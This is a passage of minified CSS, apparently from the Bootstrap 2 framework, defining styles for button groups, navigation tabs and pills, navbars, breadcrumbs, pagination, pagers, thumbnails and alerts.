.btn-group>.btn:first-child{margin-left:0;-webkit-border-top-left-radius:4px;-moz-border-radius-topleft:4px;border-top-left-radius:4px;-webkit-border-bottom-left-radius:4px;-moz-border-radius-bottomleft:4px;border-bottom-left-radius:4px;}
.btn-group>.btn:last-child,.btn-group>.dropdown-toggle{-webkit-border-top-right-radius:4px;-moz-border-radius-topright:4px;border-top-right-radius:4px;-webkit-border-bottom-right-radius:4px;-moz-border-radius-bottomright:4px;border-bottom-right-radius:4px;}
.btn-group>.btn.large:first-child{margin-left:0;-webkit-border-top-left-radius:6px;-moz-border-radius-topleft:6px;border-top-left-radius:6px;-webkit-border-bottom-left-radius:6px;-moz-border-radius-bottomleft:6px;border-bottom-left-radius:6px;}
.btn-group>.btn.large:last-child,.btn-group>.large.dropdown-toggle{-webkit-border-top-right-radius:6px;-moz-border-radius-topright:6px;border-top-right-radius:6px;-webkit-border-bottom-right-radius:6px;-moz-border-radius-bottomright:6px;border-bottom-right-radius:6px;}
.btn-group>.btn:hover,.btn-group>.btn:focus,.btn-group>.btn:active,.btn-group>.btn.active{z-index:2;}
.btn-group .dropdown-toggle:active,.btn-group.open .dropdown-toggle{outline:0;}
.btn-group>.btn+.dropdown-toggle{padding-left:8px;padding-right:8px;-webkit-box-shadow:inset 1px 0 0 rgba(255,255,255,.125), inset 0 1px 0 rgba(255,255,255,.2), 0 1px 2px rgba(0,0,0,.05);-moz-box-shadow:inset 1px 0 0 rgba(255,255,255,.125), inset 0 1px 0 rgba(255,255,255,.2), 0 1px 2px rgba(0,0,0,.05);box-shadow:inset 1px 0 0 rgba(255,255,255,.125), inset 0 1px 0 rgba(255,255,255,.2), 0 1px 2px rgba(0,0,0,.05);*padding-top:5px;*padding-bottom:5px;}
.btn-group>.btn-mini+.dropdown-toggle{padding-left:5px;padding-right:5px;*padding-top:2px;*padding-bottom:2px;}
.btn-group>.btn-small+.dropdown-toggle{*padding-top:5px;*padding-bottom:4px;}
.btn-group>.btn-large+.dropdown-toggle{padding-left:12px;padding-right:12px;*padding-top:7px;*padding-bottom:7px;}
.btn-group.open .dropdown-toggle{background-image:none;-webkit-box-shadow:inset 0 2px 4px rgba(0,0,0,.15), 0 1px 2px rgba(0,0,0,.05);-moz-box-shadow:inset 0 2px 4px rgba(0,0,0,.15), 0 1px 2px rgba(0,0,0,.05);box-shadow:inset 0 2px 4px rgba(0,0,0,.15), 0 1px 2px rgba(0,0,0,.05);}
.btn-group.open .btn.dropdown-toggle{background-color:#e6e6e6;}
.btn-group.open .btn-primary.dropdown-toggle{background-color:#0044cc;}
.btn-group.open .btn-warning.dropdown-toggle{background-color:#f89406;}
.btn-group.open .btn-danger.dropdown-toggle{background-color:#bd362f;}
.btn-group.open .btn-success.dropdown-toggle{background-color:#51a351;}
.btn-group.open .btn-info.dropdown-toggle{background-color:#2f96b4;}
.btn-group.open .btn-inverse.dropdown-toggle{background-color:#222222;}
.btn .caret{margin-top:8px;margin-left:0;}
.btn-large .caret{margin-top:6px;}
.btn-large .caret{border-left-width:5px;border-right-width:5px;border-top-width:5px;}
.btn-mini .caret,.btn-small .caret{margin-top:8px;}
.dropup .btn-large .caret{border-bottom-width:5px;}
.btn-primary .caret,.btn-warning .caret,.btn-danger .caret,.btn-info .caret,.btn-success .caret,.btn-inverse .caret{border-top-color:#ffffff;border-bottom-color:#ffffff;}
.btn-group-vertical{display:inline-block;*display:inline;*zoom:1;}
.btn-group-vertical>.btn{display:block;float:none;max-width:100%;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;}
.btn-group-vertical>.btn+.btn{margin-left:0;margin-top:-1px;}
.btn-group-vertical>.btn:first-child{-webkit-border-radius:4px 4px 0 0;-moz-border-radius:4px 4px 0 0;border-radius:4px 4px 0 0;}
.btn-group-vertical>.btn:last-child{-webkit-border-radius:0 0 4px 4px;-moz-border-radius:0 0 4px 4px;border-radius:0 0 4px 4px;}
.btn-group-vertical>.btn-large:first-child{-webkit-border-radius:6px 6px 0 0;-moz-border-radius:6px 6px 0 0;border-radius:6px 6px 0 0;}
.btn-group-vertical>.btn-large:last-child{-webkit-border-radius:0 0 6px 6px;-moz-border-radius:0 0 6px 6px;border-radius:0 0 6px 6px;}
.nav{margin-left:0;margin-bottom:20px;list-style:none;}
.nav>li>a{display:block;}
.nav>li>a:hover,.nav>li>a:focus{text-decoration:none;background-color:#eeeeee;}
.nav>li>a>img{max-width:none;}
.nav>.pull-right{float:right;}
.nav-header{display:block;padding:3px 15px;font-size:11px;font-weight:bold;line-height:20px;color:#999999;text-shadow:0 1px 0 rgba(255, 255, 255, 0.5);text-transform:uppercase;}
.nav li+.nav-header{margin-top:9px;}
.nav-list{padding-left:15px;padding-right:15px;margin-bottom:0;}
.nav-list>li>a,.nav-list .nav-header{margin-left:-15px;margin-right:-15px;text-shadow:0 1px 0 rgba(255, 255, 255, 0.5);}
.nav-list>li>a{padding:3px 15px;}
.nav-list>.active>a,.nav-list>.active>a:hover,.nav-list>.active>a:focus{color:#ffffff;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.2);background-color:#0088cc;}
.nav-list [class^="icon-"],.nav-list [class*=" icon-"]{margin-right:2px;}
.nav-list .divider{*width:100%;height:1px;margin:9px 1px;*margin:-5px 0 5px;overflow:hidden;background-color:#e5e5e5;border-bottom:1px solid #ffffff;}
.nav-tabs,.nav-pills{*zoom:1;}.nav-tabs:before,.nav-pills:before,.nav-tabs:after,.nav-pills:after{display:table;content:"";line-height:0;}
.nav-tabs:after,.nav-pills:after{clear:both;}
.nav-tabs>li,.nav-pills>li{float:left;}
.nav-tabs>li>a,.nav-pills>li>a{padding-right:12px;padding-left:12px;margin-right:2px;line-height:14px;}
.nav-tabs{border-bottom:1px solid #ddd;}
.nav-tabs>li{margin-bottom:-1px;}
.nav-tabs>li>a{padding-top:8px;padding-bottom:8px;line-height:20px;border:1px solid transparent;-webkit-border-radius:4px 4px 0 0;-moz-border-radius:4px 4px 0 0;border-radius:4px 4px 0 0;}.nav-tabs>li>a:hover,.nav-tabs>li>a:focus{border-color:#eeeeee #eeeeee #dddddd;}
.nav-tabs>.active>a,.nav-tabs>.active>a:hover,.nav-tabs>.active>a:focus{color:#555555;background-color:#ffffff;border:1px solid #ddd;border-bottom-color:transparent;cursor:default;}
.nav-pills>li>a{padding-top:8px;padding-bottom:8px;margin-top:2px;margin-bottom:2px;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px;}
.nav-pills>.active>a,.nav-pills>.active>a:hover,.nav-pills>.active>a:focus{color:#ffffff;background-color:#0088cc;}
.nav-stacked>li{float:none;}
.nav-stacked>li>a{margin-right:0;}
.nav-tabs.nav-stacked{border-bottom:0;}
.nav-tabs.nav-stacked>li>a{border:1px solid #ddd;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;}
.nav-tabs.nav-stacked>li:first-child>a{-webkit-border-top-right-radius:4px;-moz-border-radius-topright:4px;border-top-right-radius:4px;-webkit-border-top-left-radius:4px;-moz-border-radius-topleft:4px;border-top-left-radius:4px;}
.nav-tabs.nav-stacked>li:last-child>a{-webkit-border-bottom-right-radius:4px;-moz-border-radius-bottomright:4px;border-bottom-right-radius:4px;-webkit-border-bottom-left-radius:4px;-moz-border-radius-bottomleft:4px;border-bottom-left-radius:4px;}
.nav-tabs.nav-stacked>li>a:hover,.nav-tabs.nav-stacked>li>a:focus{border-color:#ddd;z-index:2;}
.nav-pills.nav-stacked>li>a{margin-bottom:3px;}
.nav-pills.nav-stacked>li:last-child>a{margin-bottom:1px;}
.nav-tabs .dropdown-menu{-webkit-border-radius:0 0 6px 6px;-moz-border-radius:0 0 6px 6px;border-radius:0 0 6px 6px;}
.nav-pills .dropdown-menu{-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;}
.nav .dropdown-toggle .caret{border-top-color:#0088cc;border-bottom-color:#0088cc;margin-top:6px;}
.nav .dropdown-toggle:hover .caret,.nav .dropdown-toggle:focus .caret{border-top-color:#005580;border-bottom-color:#005580;}
.nav-tabs .dropdown-toggle .caret{margin-top:8px;}
.nav .active .dropdown-toggle .caret{border-top-color:#fff;border-bottom-color:#fff;}
.nav-tabs .active .dropdown-toggle .caret{border-top-color:#555555;border-bottom-color:#555555;}
.nav>.dropdown.active>a:hover,.nav>.dropdown.active>a:focus{cursor:pointer;}
.nav-tabs .open .dropdown-toggle,.nav-pills .open .dropdown-toggle,.nav>li.dropdown.open.active>a:hover,.nav>li.dropdown.open.active>a:focus{color:#ffffff;background-color:#999999;border-color:#999999;}
.nav li.dropdown.open .caret,.nav li.dropdown.open.active .caret,.nav li.dropdown.open a:hover .caret,.nav li.dropdown.open a:focus .caret{border-top-color:#ffffff;border-bottom-color:#ffffff;opacity:1;filter:alpha(opacity=100);}
.tabs-stacked .open>a:hover,.tabs-stacked .open>a:focus{border-color:#999999;}
.tabbable{*zoom:1;}.tabbable:before,.tabbable:after{display:table;content:"";line-height:0;}
.tabbable:after{clear:both;}
.tab-content{overflow:auto;}
.tabs-below>.nav-tabs,.tabs-right>.nav-tabs,.tabs-left>.nav-tabs{border-bottom:0;}
.tab-content>.tab-pane,.pill-content>.pill-pane{display:none;}
.tab-content>.active,.pill-content>.active{display:block;}
.tabs-below>.nav-tabs{border-top:1px solid #ddd;}
.tabs-below>.nav-tabs>li{margin-top:-1px;margin-bottom:0;}
.tabs-below>.nav-tabs>li>a{-webkit-border-radius:0 0 4px 4px;-moz-border-radius:0 0 4px 4px;border-radius:0 0 4px 4px;}.tabs-below>.nav-tabs>li>a:hover,.tabs-below>.nav-tabs>li>a:focus{border-bottom-color:transparent;border-top-color:#ddd;}
.tabs-below>.nav-tabs>.active>a,.tabs-below>.nav-tabs>.active>a:hover,.tabs-below>.nav-tabs>.active>a:focus{border-color:transparent #ddd #ddd #ddd;}
.tabs-left>.nav-tabs>li,.tabs-right>.nav-tabs>li{float:none;}
.tabs-left>.nav-tabs>li>a,.tabs-right>.nav-tabs>li>a{min-width:74px;margin-right:0;margin-bottom:3px;}
.tabs-left>.nav-tabs{float:left;margin-right:19px;border-right:1px solid #ddd;}
.tabs-left>.nav-tabs>li>a{margin-right:-1px;-webkit-border-radius:4px 0 0 4px;-moz-border-radius:4px 0 0 4px;border-radius:4px 0 0 4px;}
.tabs-left>.nav-tabs>li>a:hover,.tabs-left>.nav-tabs>li>a:focus{border-color:#eeeeee #dddddd #eeeeee #eeeeee;}
.tabs-left>.nav-tabs .active>a,.tabs-left>.nav-tabs .active>a:hover,.tabs-left>.nav-tabs .active>a:focus{border-color:#ddd transparent #ddd #ddd;*border-right-color:#ffffff;}
.tabs-right>.nav-tabs{float:right;margin-left:19px;border-left:1px solid #ddd;}
.tabs-right>.nav-tabs>li>a{margin-left:-1px;-webkit-border-radius:0 4px 4px 0;-moz-border-radius:0 4px 4px 0;border-radius:0 4px 4px 0;}
.tabs-right>.nav-tabs>li>a:hover,.tabs-right>.nav-tabs>li>a:focus{border-color:#eeeeee #eeeeee #eeeeee #dddddd;}
.tabs-right>.nav-tabs .active>a,.tabs-right>.nav-tabs .active>a:hover,.tabs-right>.nav-tabs .active>a:focus{border-color:#ddd #ddd #ddd transparent;*border-left-color:#ffffff;}
.nav>.disabled>a{color:#999999;}
.nav>.disabled>a:hover,.nav>.disabled>a:focus{text-decoration:none;background-color:transparent;cursor:default;}
.navbar{overflow:visible;margin-bottom:20px;*position:relative;*z-index:2;}
.navbar-inner{min-height:40px;padding-left:20px;padding-right:20px;background-color:#fafafa;background-image:-moz-linear-gradient(top, #ffffff, #f2f2f2);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#ffffff), to(#f2f2f2));background-image:-webkit-linear-gradient(top, #ffffff, #f2f2f2);background-image:-o-linear-gradient(top, #ffffff, #f2f2f2);background-image:linear-gradient(to bottom, #ffffff, #f2f2f2);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#fff2f2f2', GradientType=0);border:1px solid #d4d4d4;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:0 1px 4px rgba(0, 0, 0, 0.065);-moz-box-shadow:0 1px 4px rgba(0, 0, 0, 0.065);box-shadow:0 1px 4px rgba(0, 0, 0, 0.065);*zoom:1;}.navbar-inner:before,.navbar-inner:after{display:table;content:"";line-height:0;}
.navbar-inner:after{clear:both;}
.navbar .container{width:auto;}
.nav-collapse.collapse{height:auto;overflow:visible;}
.navbar .brand{float:left;display:block;padding:10px 20px 10px;margin-left:-20px;font-size:20px;font-weight:200;color:#777777;text-shadow:0 1px 0 #ffffff;}.navbar .brand:hover,.navbar .brand:focus{text-decoration:none;}
.navbar-text{margin-bottom:0;line-height:40px;color:#777777;}
.navbar-link{color:#777777;}.navbar-link:hover,.navbar-link:focus{color:#333333;}
.navbar .divider-vertical{height:40px;margin:0 9px;border-left:1px solid #f2f2f2;border-right:1px solid #ffffff;}
.navbar .btn,.navbar .btn-group{margin-top:5px;}
.navbar .btn-group .btn,.navbar .input-prepend .btn,.navbar .input-append .btn,.navbar .input-prepend .btn-group,.navbar .input-append .btn-group{margin-top:0;}
.navbar-form{margin-bottom:0;*zoom:1;}.navbar-form:before,.navbar-form:after{display:table;content:"";line-height:0;}
.navbar-form:after{clear:both;}
.navbar-form input,.navbar-form select,.navbar-form .radio,.navbar-form .checkbox{margin-top:5px;}
.navbar-form input,.navbar-form select,.navbar-form .btn{display:inline-block;margin-bottom:0;}
.navbar-form input[type="image"],.navbar-form input[type="checkbox"],.navbar-form input[type="radio"]{margin-top:3px;}
.navbar-form .input-append,.navbar-form .input-prepend{margin-top:5px;white-space:nowrap;}.navbar-form .input-append input,.navbar-form .input-prepend input{margin-top:0;}
.navbar-search{position:relative;float:left;margin-top:5px;margin-bottom:0;}.navbar-search .search-query{margin-bottom:0;padding:4px 14px;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:13px;font-weight:normal;line-height:1;-webkit-border-radius:15px;-moz-border-radius:15px;border-radius:15px;}
.navbar-static-top{position:static;margin-bottom:0;}.navbar-static-top .navbar-inner{-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;}
.navbar-fixed-top,.navbar-fixed-bottom{position:fixed;right:0;left:0;z-index:1030;margin-bottom:0;}
.navbar-fixed-top .navbar-inner,.navbar-static-top .navbar-inner{border-width:0 0 1px;}
.navbar-fixed-bottom .navbar-inner{border-width:1px 0 0;}
.navbar-fixed-top .navbar-inner,.navbar-fixed-bottom .navbar-inner{padding-left:0;padding-right:0;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;}
.navbar-static-top .container,.navbar-fixed-top .container,.navbar-fixed-bottom .container{width:1170px;}
.navbar-fixed-top{top:0;}
.navbar-fixed-top .navbar-inner,.navbar-static-top .navbar-inner{-webkit-box-shadow:0 1px 10px rgba(0,0,0,.1);-moz-box-shadow:0 1px 10px rgba(0,0,0,.1);box-shadow:0 1px 10px rgba(0,0,0,.1);}
.navbar-fixed-bottom{bottom:0;}.navbar-fixed-bottom .navbar-inner{-webkit-box-shadow:0 -1px 10px rgba(0,0,0,.1);-moz-box-shadow:0 -1px 10px rgba(0,0,0,.1);box-shadow:0 -1px 10px rgba(0,0,0,.1);}
.navbar .nav{position:relative;left:0;display:block;float:left;margin:0 10px 0 0;}
.navbar .nav.pull-right{float:right;margin-right:0;}
.navbar .nav>li{float:left;}
.navbar .nav>li>a{float:none;padding:10px 15px 10px;color:#777777;text-decoration:none;text-shadow:0 1px 0 #ffffff;}
.navbar .nav .dropdown-toggle .caret{margin-top:8px;}
.navbar .nav>li>a:focus,.navbar .nav>li>a:hover{background-color:transparent;color:#333333;text-decoration:none;}
.navbar .nav>.active>a,.navbar .nav>.active>a:hover,.navbar .nav>.active>a:focus{color:#555555;text-decoration:none;background-color:#e5e5e5;-webkit-box-shadow:inset 0 3px 8px rgba(0, 0, 0, 0.125);-moz-box-shadow:inset 0 3px 8px rgba(0, 0, 0, 0.125);box-shadow:inset 0 3px 8px rgba(0, 0, 0, 0.125);}
.navbar .btn-navbar{display:none;float:right;padding:7px 10px;margin-left:5px;margin-right:5px;color:#ffffff;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);background-color:#ededed;background-image:-moz-linear-gradient(top, #f2f2f2, #e5e5e5);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#f2f2f2), to(#e5e5e5));background-image:-webkit-linear-gradient(top, #f2f2f2, #e5e5e5);background-image:-o-linear-gradient(top, #f2f2f2, #e5e5e5);background-image:linear-gradient(to bottom, #f2f2f2, #e5e5e5);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2f2f2', endColorstr='#ffe5e5e5', GradientType=0);border-color:#e5e5e5 #e5e5e5 #bfbfbf;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);*background-color:#e5e5e5;filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.1), 0 1px 0 rgba(255,255,255,.075);-moz-box-shadow:inset 0 1px 0 rgba(255,255,255,.1), 0 1px 0 rgba(255,255,255,.075);box-shadow:inset 0 1px 0 rgba(255,255,255,.1), 0 1px 0 rgba(255,255,255,.075);}.navbar .btn-navbar:hover,.navbar .btn-navbar:focus,.navbar .btn-navbar:active,.navbar .btn-navbar.active,.navbar .btn-navbar.disabled,.navbar .btn-navbar[disabled]{color:#ffffff;background-color:#e5e5e5;*background-color:#d9d9d9;}
.navbar .btn-navbar:active,.navbar .btn-navbar.active{background-color:#cccccc \9;}
.navbar .btn-navbar .icon-bar{display:block;width:18px;height:2px;background-color:#f5f5f5;-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px;-webkit-box-shadow:0 1px 0 rgba(0, 0, 0, 0.25);-moz-box-shadow:0 1px 0 rgba(0, 0, 0, 0.25);box-shadow:0 1px 0 rgba(0, 0, 0, 0.25);}
.btn-navbar .icon-bar+.icon-bar{margin-top:3px;}
.navbar .nav>li>.dropdown-menu:before{content:'';display:inline-block;border-left:7px solid transparent;border-right:7px solid transparent;border-bottom:7px solid #ccc;border-bottom-color:rgba(0, 0, 0, 0.2);position:absolute;top:-7px;left:9px;}
.navbar .nav>li>.dropdown-menu:after{content:'';display:inline-block;border-left:6px solid transparent;border-right:6px solid transparent;border-bottom:6px solid #ffffff;position:absolute;top:-6px;left:10px;}
.navbar-fixed-bottom .nav>li>.dropdown-menu:before{border-top:7px solid #ccc;border-top-color:rgba(0, 0, 0, 0.2);border-bottom:0;bottom:-7px;top:auto;}
.navbar-fixed-bottom .nav>li>.dropdown-menu:after{border-top:6px solid #ffffff;border-bottom:0;bottom:-6px;top:auto;}
.navbar .nav li.dropdown>a:hover .caret,.navbar .nav li.dropdown>a:focus .caret{border-top-color:#333333;border-bottom-color:#333333;}
.navbar .nav li.dropdown.open>.dropdown-toggle,.navbar .nav li.dropdown.active>.dropdown-toggle,.navbar .nav li.dropdown.open.active>.dropdown-toggle{background-color:#e5e5e5;color:#555555;}
.navbar .nav li.dropdown>.dropdown-toggle .caret{border-top-color:#777777;border-bottom-color:#777777;}
.navbar .nav li.dropdown.open>.dropdown-toggle .caret,.navbar .nav li.dropdown.active>.dropdown-toggle .caret,.navbar .nav li.dropdown.open.active>.dropdown-toggle .caret{border-top-color:#555555;border-bottom-color:#555555;}
.navbar .pull-right>li>.dropdown-menu,.navbar .nav>li>.dropdown-menu.pull-right{left:auto;right:0;}.navbar .pull-right>li>.dropdown-menu:before,.navbar .nav>li>.dropdown-menu.pull-right:before{left:auto;right:12px;}
.navbar .pull-right>li>.dropdown-menu:after,.navbar .nav>li>.dropdown-menu.pull-right:after{left:auto;right:13px;}
.navbar .pull-right>li>.dropdown-menu .dropdown-menu,.navbar .nav>li>.dropdown-menu.pull-right .dropdown-menu{left:auto;right:100%;margin-left:0;margin-right:-1px;-webkit-border-radius:6px 0 6px 6px;-moz-border-radius:6px 0 6px 6px;border-radius:6px 0 6px 6px;}
.navbar-inverse .navbar-inner{background-color:#1b1b1b;background-image:-moz-linear-gradient(top, #222222, #111111);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#222222), to(#111111));background-image:-webkit-linear-gradient(top, #222222, #111111);background-image:-o-linear-gradient(top, #222222, #111111);background-image:linear-gradient(to bottom, #222222, #111111);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff222222', endColorstr='#ff111111', GradientType=0);border-color:#252525;}
.navbar-inverse .brand,.navbar-inverse .nav>li>a{color:#999999;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);}.navbar-inverse .brand:hover,.navbar-inverse .nav>li>a:hover,.navbar-inverse .brand:focus,.navbar-inverse .nav>li>a:focus{color:#ffffff;}
.navbar-inverse .brand{color:#999999;}
.navbar-inverse .navbar-text{color:#999999;}
.navbar-inverse .nav>li>a:focus,.navbar-inverse .nav>li>a:hover{background-color:transparent;color:#ffffff;}
.navbar-inverse .nav .active>a,.navbar-inverse .nav .active>a:hover,.navbar-inverse .nav .active>a:focus{color:#ffffff;background-color:#111111;}
.navbar-inverse .navbar-link{color:#999999;}.navbar-inverse .navbar-link:hover,.navbar-inverse .navbar-link:focus{color:#ffffff;}
.navbar-inverse .divider-vertical{border-left-color:#111111;border-right-color:#222222;}
.navbar-inverse .nav li.dropdown.open>.dropdown-toggle,.navbar-inverse .nav li.dropdown.active>.dropdown-toggle,.navbar-inverse .nav li.dropdown.open.active>.dropdown-toggle{background-color:#111111;color:#ffffff;}
.navbar-inverse .nav li.dropdown>a:hover .caret,.navbar-inverse .nav li.dropdown>a:focus .caret{border-top-color:#ffffff;border-bottom-color:#ffffff;}
.navbar-inverse .nav li.dropdown>.dropdown-toggle .caret{border-top-color:#999999;border-bottom-color:#999999;}
.navbar-inverse .nav li.dropdown.open>.dropdown-toggle .caret,.navbar-inverse .nav li.dropdown.active>.dropdown-toggle .caret,.navbar-inverse .nav li.dropdown.open.active>.dropdown-toggle .caret{border-top-color:#ffffff;border-bottom-color:#ffffff;}
.navbar-inverse .navbar-search .search-query{color:#ffffff;background-color:#515151;border-color:#111111;-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,.1), 0 1px 0 rgba(255,255,255,.15);-moz-box-shadow:inset 0 1px 2px rgba(0,0,0,.1), 0 1px 0 rgba(255,255,255,.15);box-shadow:inset 0 1px 2px rgba(0,0,0,.1), 0 1px 0 rgba(255,255,255,.15);-webkit-transition:none;-moz-transition:none;-o-transition:none;transition:none;}.navbar-inverse .navbar-search .search-query:-moz-placeholder{color:#cccccc;}
.navbar-inverse .navbar-search .search-query:-ms-input-placeholder{color:#cccccc;}
.navbar-inverse .navbar-search .search-query::-webkit-input-placeholder{color:#cccccc;}
.navbar-inverse .navbar-search .search-query:focus,.navbar-inverse .navbar-search .search-query.focused{padding:5px 15px;color:#333333;text-shadow:0 1px 0 #ffffff;background-color:#ffffff;border:0;-webkit-box-shadow:0 0 3px rgba(0, 0, 0, 0.15);-moz-box-shadow:0 0 3px rgba(0, 0, 0, 0.15);box-shadow:0 0 3px rgba(0, 0, 0, 0.15);outline:0;}
.navbar-inverse .btn-navbar{color:#ffffff;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);background-color:#0e0e0e;background-image:-moz-linear-gradient(top, #151515, #040404);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#151515), to(#040404));background-image:-webkit-linear-gradient(top, #151515, #040404);background-image:-o-linear-gradient(top, #151515, #040404);background-image:linear-gradient(to bottom, #151515, #040404);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff151515', endColorstr='#ff040404', GradientType=0);border-color:#040404 #040404 #000000;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);*background-color:#040404;filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);}.navbar-inverse .btn-navbar:hover,.navbar-inverse .btn-navbar:focus,.navbar-inverse .btn-navbar:active,.navbar-inverse .btn-navbar.active,.navbar-inverse .btn-navbar.disabled,.navbar-inverse .btn-navbar[disabled]{color:#ffffff;background-color:#040404;*background-color:#000000;}
.navbar-inverse .btn-navbar:active,.navbar-inverse .btn-navbar.active{background-color:#000000 \9;}
.breadcrumb{padding:8px 15px;margin:0 0 20px;list-style:none;background-color:#f5f5f5;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;}.breadcrumb>li{display:inline-block;*display:inline;*zoom:1;text-shadow:0 1px 0 #ffffff;}.breadcrumb>li>.divider{padding:0 5px;color:#ccc;}
.breadcrumb>.active{color:#999999;}
.pagination{margin:20px 0;}
.pagination ul{display:inline-block;*display:inline;*zoom:1;margin-left:0;margin-bottom:0;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:0 1px 2px rgba(0, 0, 0, 0.05);-moz-box-shadow:0 1px 2px rgba(0, 0, 0, 0.05);box-shadow:0 1px 2px rgba(0, 0, 0, 0.05);}
.pagination ul>li{display:inline;}
.pagination ul>li>a,.pagination ul>li>span{float:left;padding:4px 12px;line-height:20px;text-decoration:none;background-color:#ffffff;border:1px solid #dddddd;border-left-width:0;}
.pagination ul>li>a:hover,.pagination ul>li>a:focus,.pagination ul>.active>a,.pagination ul>.active>span{background-color:#f5f5f5;}
.pagination ul>.active>a,.pagination ul>.active>span{color:#999999;cursor:default;}
.pagination ul>.disabled>span,.pagination ul>.disabled>a,.pagination ul>.disabled>a:hover,.pagination ul>.disabled>a:focus{color:#999999;background-color:transparent;cursor:default;}
.pagination ul>li:first-child>a,.pagination ul>li:first-child>span{border-left-width:1px;-webkit-border-top-left-radius:4px;-moz-border-radius-topleft:4px;border-top-left-radius:4px;-webkit-border-bottom-left-radius:4px;-moz-border-radius-bottomleft:4px;border-bottom-left-radius:4px;}
.pagination ul>li:last-child>a,.pagination ul>li:last-child>span{-webkit-border-top-right-radius:4px;-moz-border-radius-topright:4px;border-top-right-radius:4px;-webkit-border-bottom-right-radius:4px;-moz-border-radius-bottomright:4px;border-bottom-right-radius:4px;}
.pagination-centered{text-align:center;}
.pagination-right{text-align:right;}
.pagination-large ul>li>a,.pagination-large ul>li>span{padding:11px 19px;font-size:17.5px;}
.pagination-large ul>li:first-child>a,.pagination-large ul>li:first-child>span{-webkit-border-top-left-radius:6px;-moz-border-radius-topleft:6px;border-top-left-radius:6px;-webkit-border-bottom-left-radius:6px;-moz-border-radius-bottomleft:6px;border-bottom-left-radius:6px;}
.pagination-large ul>li:last-child>a,.pagination-large ul>li:last-child>span{-webkit-border-top-right-radius:6px;-moz-border-radius-topright:6px;border-top-right-radius:6px;-webkit-border-bottom-right-radius:6px;-moz-border-radius-bottomright:6px;border-bottom-right-radius:6px;}
.pagination-mini ul>li:first-child>a,.pagination-small ul>li:first-child>a,.pagination-mini ul>li:first-child>span,.pagination-small ul>li:first-child>span{-webkit-border-top-left-radius:3px;-moz-border-radius-topleft:3px;border-top-left-radius:3px;-webkit-border-bottom-left-radius:3px;-moz-border-radius-bottomleft:3px;border-bottom-left-radius:3px;}
.pagination-mini ul>li:last-child>a,.pagination-small ul>li:last-child>a,.pagination-mini ul>li:last-child>span,.pagination-small ul>li:last-child>span{-webkit-border-top-right-radius:3px;-moz-border-radius-topright:3px;border-top-right-radius:3px;-webkit-border-bottom-right-radius:3px;-moz-border-radius-bottomright:3px;border-bottom-right-radius:3px;}
.pagination-small ul>li>a,.pagination-small ul>li>span{padding:2px 10px;font-size:11.9px;}
.pagination-mini ul>li>a,.pagination-mini ul>li>span{padding:0 6px;font-size:10.5px;}
.pager{margin:20px 0;list-style:none;text-align:center;*zoom:1;}.pager:before,.pager:after{display:table;content:"";line-height:0;}
.pager:after{clear:both;}
.pager li{display:inline;}
.pager li>a,.pager li>span{display:inline-block;padding:5px 14px;background-color:#fff;border:1px solid #ddd;-webkit-border-radius:15px;-moz-border-radius:15px;border-radius:15px;}
.pager li>a:hover,.pager li>a:focus{text-decoration:none;background-color:#f5f5f5;}
.pager .next>a,.pager .next>span{float:right;}
.pager .previous>a,.pager .previous>span{float:left;}
.pager .disabled>a,.pager .disabled>a:hover,.pager .disabled>a:focus,.pager .disabled>span{color:#999999;background-color:#fff;cursor:default;}
.thumbnails{margin-left:-20px;list-style:none;*zoom:1;}.thumbnails:before,.thumbnails:after{display:table;content:"";line-height:0;}
.thumbnails:after{clear:both;}
.row-fluid .thumbnails{margin-left:0;}
.thumbnails>li{float:left;margin-bottom:20px;margin-left:20px;}
.thumbnail{display:block;padding:4px;line-height:20px;border:1px solid #ddd;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:0 1px 3px rgba(0, 0, 0, 0.055);-moz-box-shadow:0 1px 3px rgba(0, 0, 0, 0.055);box-shadow:0 1px 3px rgba(0, 0, 0, 0.055);-webkit-transition:all 0.2s ease-in-out;-moz-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;}
a.thumbnail:hover,a.thumbnail:focus{border-color:#0088cc;-webkit-box-shadow:0 1px 4px rgba(0, 105, 214, 0.25);-moz-box-shadow:0 1px 4px rgba(0, 105, 214, 0.25);box-shadow:0 1px 4px rgba(0, 105, 214, 0.25);}
.thumbnail>img{display:block;max-width:100%;margin-left:auto;margin-right:auto;}
.thumbnail .caption{padding:9px;color:#555555;}
.alert{padding:8px 35px 8px 14px;margin-bottom:20px;text-shadow:0 1px 0 rgba(255, 255, 255, 0.5);background-color:#fcf8e3;border:1px solid #fbeed5;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;}
.alert,.alert h4{color:#c09853;}
